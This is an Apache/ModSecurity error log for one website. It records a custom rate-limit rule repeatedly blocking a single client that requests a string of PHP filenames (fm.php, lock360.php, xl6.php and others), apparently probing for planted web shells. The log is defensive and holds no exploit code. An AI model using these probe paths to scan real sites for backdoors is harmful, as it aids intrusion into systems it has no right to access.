[Sat Nov 22 00:43:01.639862 2025] [:error] [pid 9180:tid 9205] [client 74.176.50.101:5186] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2co_ipn.php"] [unique_id "aSCWlbrk9msixUFV2i99NwAAAFc"]
[Sat Nov 22 00:43:02.202225 2025] [:error] [pid 50057:tid 50068] [client 74.176.50.101:5187] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2co_ipn.php"] [unique_id "aSCWllb9j9fTBoI0sRU4cQAAAQk"]
[Sat Nov 22 00:43:02.787342 2025] [:error] [pid 49642:tid 49897] [client 74.176.50.101:5263] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2co_ipn.php"] [unique_id "aSCWloOXTPSuQfgUUtV_3gAAAIY"]
[Sat Nov 22 00:43:03.696769 2025] [:error] [pid 50057:tid 50060] [client 74.176.50.101:61784] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/speculative.php"] [unique_id "aSCWl1b9j9fTBoI0sRU4dAAAAQE"]
[Sat Nov 22 00:43:04.748409 2025] [:error] [pid 9180:tid 9200] [client 74.176.50.101:5267] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/speculative.php"] [unique_id "aSCWmLrk9msixUFV2i99QgAAAFI"]
[Sat Nov 22 00:43:05.822901 2025] [:error] [pid 49641:tid 49833] [client 74.176.50.101:52909] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/speculative.php"] [unique_id "aSCWmVnhuiDak938N_anNAAAAAo"]
[Sat Nov 22 00:43:18.528590 2025] [:error] [pid 50057:tid 50075] [client 74.176.50.101:5968] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lanbai.php"] [unique_id "aSCWplb9j9fTBoI0sRU4lwAAARA"]
[Sat Nov 22 00:43:20.167479 2025] [:error] [pid 50057:tid 50079] [client 74.176.50.101:56619] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lanbai.php"] [unique_id "aSCWqFb9j9fTBoI0sRU4mQAAARQ"]
[Sat Nov 22 00:43:20.680203 2025] [:error] [pid 50057:tid 50063] [client 74.176.50.101:5336] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lanbai.php"] [unique_id "aSCWqFb9j9fTBoI0sRU4mgAAAQQ"]
[Sat Nov 22 00:43:25.544797 2025] [:error] [pid 49642:tid 49897] [client 74.176.50.101:56606] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lanbai.php"] [unique_id "aSCWrYOXTPSuQfgUUtWAAAAAAIY"]
[Sat Nov 22 00:43:26.964659 2025] [:error] [pid 9180:tid 9194] [client 74.176.50.101:5156] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cord.php"] [unique_id "aSCWrrrk9msixUFV2i99YgAAAEw"]
[Sat Nov 22 00:43:27.808718 2025] [:error] [pid 49643:tid 49936] [client 74.176.50.101:5135] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cord.php"] [unique_id "aSCWr5wUojIRHhF_fj9-CQAAANA"]
[Sat Nov 22 00:43:28.323214 2025] [:error] [pid 9180:tid 9206] [client 74.176.50.101:56621] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cord.php"] [unique_id "aSCWsLrk9msixUFV2i99ZwAAAFg"]
[Sat Nov 22 00:43:28.911516 2025] [:error] [pid 9180:tid 9182] [client 74.176.50.101:63312] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cord.php"] [unique_id "aSCWsLrk9msixUFV2i99agAAAEA"]
[Sat Nov 22 00:43:30.055489 2025] [:error] [pid 49641:tid 49845] [client 74.176.50.101:5156] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xl6.php"] [unique_id "aSCWslnhuiDak938N_anSAAAABY"]
[Sat Nov 22 00:43:30.731481 2025] [:error] [pid 50057:tid 50079] [client 74.176.50.101:5578] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xl6.php"] [unique_id "aSCWslb9j9fTBoI0sRU4pwAAARQ"]
[Sat Nov 22 00:43:31.572363 2025] [:error] [pid 49643:tid 49926] [client 74.176.50.101:52939] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xl6.php"] [unique_id "aSCWs5wUojIRHhF_fj9-DwAAAMc"]
[Sat Nov 22 00:43:32.452778 2025] [:error] [pid 49643:tid 49927] [client 74.176.50.101:56042] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xl6.php"] [unique_id "aSCWtJwUojIRHhF_fj9-EQAAAMg"]
[Sat Nov 22 00:43:32.916769 2025] [:error] [pid 9180:tid 9202] [client 74.176.50.101:61142] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "aSCWtLrk9msixUFV2i99bQAAAFQ"]
[Sat Nov 22 00:43:33.471739 2025] [:error] [pid 49641:tid 49824] [client 74.176.50.101:61157] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "aSCWtVnhuiDak938N_anSwAAAAE"]
[Sat Nov 22 00:43:33.868784 2025] [:error] [pid 49641:tid 49823] [client 74.176.50.101:56009] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "aSCWtVnhuiDak938N_anTQAAAAA"]
[Sat Nov 22 00:43:34.736501 2025] [:error] [pid 49643:tid 49943] [client 74.176.50.101:5614] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "aSCWtpwUojIRHhF_fj9-FQAAANc"]
[Sat Nov 22 00:43:36.006676 2025] [:error] [pid 49641:tid 49847] [client 74.176.50.101:61137] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "aSCWuFnhuiDak938N_anTwAAABg"]
[Sat Nov 22 00:43:36.769932 2025] [:error] [pid 9180:tid 9206] [client 74.176.50.101:56048] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "aSCWuLrk9msixUFV2i99cgAAAFg"]
[Sat Nov 22 00:43:39.901984 2025] [:error] [pid 9180:tid 9183] [client 74.176.50.101:52964] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "aSCWu7rk9msixUFV2i99eQAAAEE"]
[Sat Nov 22 00:43:40.936293 2025] [:error] [pid 49641:tid 49837] [client 74.176.50.101:61152] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "aSCWvFnhuiDak938N_anVgAAAA4"]
[Sat Nov 22 00:43:41.904727 2025] [:error] [pid 49642:tid 49901] [client 74.176.50.101:5604] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "aSCWvYOXTPSuQfgUUtWAGAAAAIo"]
[Sat Nov 22 00:43:42.455018 2025] [:error] [pid 49642:tid 49910] [client 74.176.50.101:5583] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "aSCWvoOXTPSuQfgUUtWAGgAAAJM"]
[Sat Nov 22 00:43:42.959165 2025] [:error] [pid 49643:tid 49925] [client 74.176.50.101:56043] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "aSCWvpwUojIRHhF_fj9-IQAAAMY"]
[Sat Nov 22 00:43:44.093161 2025] [:error] [pid 49643:tid 49932] [client 74.176.50.101:56027] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "aSCWwJwUojIRHhF_fj9-JAAAAMw"]
[Sat Nov 22 00:43:45.807631 2025] [:error] [pid 49643:tid 49940] [client 74.176.50.101:56018] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d12.php"] [unique_id "aSCWwZwUojIRHhF_fj9-JgAAANQ"]
[Sat Nov 22 00:43:46.792613 2025] [:error] [pid 49642:tid 49915] [client 74.176.50.101:59569] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d12.php"] [unique_id "aSCWwoOXTPSuQfgUUtWAHQAAAJg"]
[Sat Nov 22 00:43:47.556807 2025] [:error] [pid 50057:tid 50075] [client 74.176.50.101:59546] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d12.php"] [unique_id "aSCWw1b9j9fTBoI0sRU4xQAAARA"]
[Sat Nov 22 00:43:49.211811 2025] [:error] [pid 49641:tid 49828] [client 74.176.50.101:56000] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d12.php"] [unique_id "aSCWxVnhuiDak938N_anYQAAAAU"]
[Sat Nov 22 00:43:50.317105 2025] [:error] [pid 49642:tid 49911] [client 74.176.50.101:59528] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/boyfile.php"] [unique_id "aSCWxoOXTPSuQfgUUtWAIQAAAJQ"]
[Sat Nov 22 00:43:51.689019 2025] [:error] [pid 49642:tid 49913] [client 74.176.50.101:52965] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/boyfile.php"] [unique_id "aSCWx4OXTPSuQfgUUtWAJQAAAJY"]
[Sat Nov 22 00:43:52.735118 2025] [:error] [pid 49643:tid 49923] [client 74.176.50.101:56034] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/boyfile.php"] [unique_id "aSCWyJwUojIRHhF_fj9-LQAAAMQ"]
[Sat Nov 22 00:43:56.117475 2025] [:error] [pid 9180:tid 9199] [client 74.176.50.101:59551] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/boyfile.php"] [unique_id "aSCWzLrk9msixUFV2i99hgAAAFE"]
[Sat Nov 22 00:43:56.907713 2025] [:error] [pid 49643:tid 49936] [client 74.176.50.101:61155] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atex1.php"] [unique_id "aSCWzJwUojIRHhF_fj9-MgAAANA"]
[Sat Nov 22 00:43:58.803251 2025] [:error] [pid 9180:tid 9206] [client 74.176.50.101:59572] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atex1.php"] [unique_id "aSCWzrrk9msixUFV2i99jAAAAFg"]
[Sat Nov 22 00:43:59.837700 2025] [:error] [pid 49641:tid 49823] [client 74.176.50.101:5435] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atex1.php"] [unique_id "aSCWz1nhuiDak938N_anawAAAAA"]
[Sat Nov 22 00:44:01.456768 2025] [:error] [pid 49643:tid 49929] [client 74.176.50.101:56031] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atex1.php"] [unique_id "aSCW0ZwUojIRHhF_fj9-OQAAAMk"]
[Sat Nov 22 00:44:02.512989 2025] [:error] [pid 49643:tid 49923] [client 74.176.50.101:61155] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/attaining.php"] [unique_id "aSCW0pwUojIRHhF_fj9-PgAAAMQ"]
[Sat Nov 22 00:44:03.653415 2025] [:error] [pid 9180:tid 9187] [client 74.176.50.101:59522] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/attaining.php"] [unique_id "aSCW07rk9msixUFV2i99lwAAAEU"]
[Sat Nov 22 00:44:04.638204 2025] [:error] [pid 50057:tid 50070] [client 74.176.50.101:61156] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/attaining.php"] [unique_id "aSCW1Fb9j9fTBoI0sRU40wAAAQs"]
[Sat Nov 22 00:44:04.928845 2025] [:error] [pid 9180:tid 9206] [client 74.176.50.101:52975] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/attaining.php"] [unique_id "aSCW1Lrk9msixUFV2i99mQAAAFg"]
[Sat Nov 22 00:44:05.654718 2025] [:error] [pid 49641:tid 49842] [client 74.176.50.101:52947] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bunnies.php"] [unique_id "aSCW1VnhuiDak938N_ancgAAABM"]
[Sat Nov 22 00:44:06.885410 2025] [:error] [pid 49641:tid 49837] [client 74.176.50.101:56011] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bunnies.php"] [unique_id "aSCW1lnhuiDak938N_andQAAAA4"]
[Sat Nov 22 00:44:08.059025 2025] [:error] [pid 49643:tid 49934] [client 74.176.50.101:52946] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bunnies.php"] [unique_id "aSCW2JwUojIRHhF_fj9-RgAAAM4"]
[Sat Nov 22 00:44:08.994641 2025] [:error] [pid 49643:tid 49941] [client 74.176.50.101:61138] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bunnies.php"] [unique_id "aSCW2JwUojIRHhF_fj9-SQAAANU"]
[Sat Nov 22 00:44:09.399270 2025] [:error] [pid 49642:tid 49910] [client 74.176.50.101:56045] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/frenchwomen.php"] [unique_id "aSCW2YOXTPSuQfgUUtWANAAAAJM"]
[Sat Nov 22 00:44:11.911008 2025] [:error] [pid 50057:tid 50070] [client 74.176.50.101:52968] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/frenchwomen.php"] [unique_id "aSCW21b9j9fTBoI0sRU44gAAAQs"]
[Sat Nov 22 00:44:12.693128 2025] [:error] [pid 9180:tid 9193] [client 74.176.50.101:56057] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/frenchwomen.php"] [unique_id "aSCW3Lrk9msixUFV2i99nQAAAEs"]
[Sat Nov 22 00:44:13.058996 2025] [:error] [pid 9180:tid 9197] [client 74.176.50.101:56021] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/frenchwomen.php"] [unique_id "aSCW3brk9msixUFV2i99nwAAAE8"]
[Sat Nov 22 00:44:13.913080 2025] [:error] [pid 49643:tid 49940] [client 74.176.50.101:61177] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/glucosidase.php"] [unique_id "aSCW3ZwUojIRHhF_fj9-UAAAANQ"]
[Sat Nov 22 00:44:14.524809 2025] [:error] [pid 49643:tid 49942] [client 74.176.50.101:56047] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/glucosidase.php"] [unique_id "aSCW3pwUojIRHhF_fj9-UgAAANY"]
